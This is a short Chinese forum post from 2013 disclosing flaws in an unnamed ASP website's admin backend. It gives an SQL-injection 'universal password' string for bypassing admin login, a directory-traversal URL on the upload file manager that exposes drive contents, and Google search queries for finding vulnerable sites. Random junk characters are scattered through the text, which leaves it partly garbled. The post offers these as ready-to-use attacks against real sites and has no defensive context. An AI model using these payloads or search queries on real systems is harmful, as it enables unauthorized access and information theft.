后台万能密码 'or'='or'5 B1 O$ z8 G' a, O9 C+ t5 h
! A+ Z0 e8 }: E8 Z# B" L5 t后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！: @$ u+ {8 g# A6 z. `% Y2 s
admin/uploadfile.asp?currentFolder=/upfiles/../( p$ R0 O: K5 T
1 E G* G- l4 i5 w- c
漏洞证明：
- H) d& [. G- y* C* x
" W* }7 G u8 g+ S1 J. `# X" ^谷歌：inurl:type.asp?id=1 新闻中心: s& k" R4 D n
或者 ：inurl:download_ok.asp?
; ~" G& v2 ^6 {3 R" U
7 C/ D6 Q" N# _9 H+ F$ K5 G7 b |
发表于 2013-3-14 20:17:32
收藏
支持
反对